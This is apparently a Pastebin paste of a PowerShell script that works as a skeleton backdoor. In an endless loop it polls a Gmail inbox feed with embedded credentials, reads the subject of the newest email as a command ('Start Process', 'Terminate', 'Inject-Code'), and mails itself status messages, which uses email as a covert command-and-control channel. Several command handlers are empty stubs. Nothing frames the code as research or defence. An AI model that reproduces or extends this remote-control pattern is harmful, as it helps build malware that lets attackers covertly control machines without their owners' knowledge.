Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function Measure-Latest {
- begin { $latest = $null }
- process {
- if (($_ -ne $null) -and (($latest -eq $null) -or ($_ -gt
- $latest))) {
- $latest = $_
- }
- }
- end { $latest }
- }
- Function Break-FP
- {
- $Body += @"
- [Breaking Search False Positive]
- "@
- $SMTPServer = "smtp.gmail.com"
- $SMTPPort = "587"
- Send-MailMessage -From $username -to $username -Subject "Break-FP" -Body $Body -BodyAsHtml -SmtpServer $SMTPServer -Port $SMTPPort -UseSsl -Credential $credential
- }
- $password = "_PASSWORD_"
- $secstr = New-Object -TypeName System.Security.SecureString
- $password.ToCharArray() | ForEach-Object { $secstr.AppendChar($_) }
- $credential = New-Object System.Management.Automation.PSCredential($username,$secstr)
- while($true){
- $webclient = new-object System.Net.WebClient
- $webclient.Credentials = new-object System.Net.NetworkCredential ("$username", "$password")
- [xml]$xml= $webclient.DownloadString("https://mail.google.com/mail/feed/atom")
- $latestmail = $xml.feed.entry.issued | Measure-Latest
- if((Get-Date -format "yyyy-MM-dd") -match ((($xml.feed.entry | Where-Object {$_.issued -eq $latestmail}).issued) -replace ".{10}$"))
- {
- switch ((($xml.feed.entry | Where-Object {$_.issued -eq $latestmail}).title))
- {
- "Start Process" { $null;Break-FP }
- "Terminate" { Break-FP;exit }
- "Inject-Code" { }
- default { $null }
- }
- }
- Start-Sleep 421
- }
Advertisement
Add Comment
Please, Sign In to add comment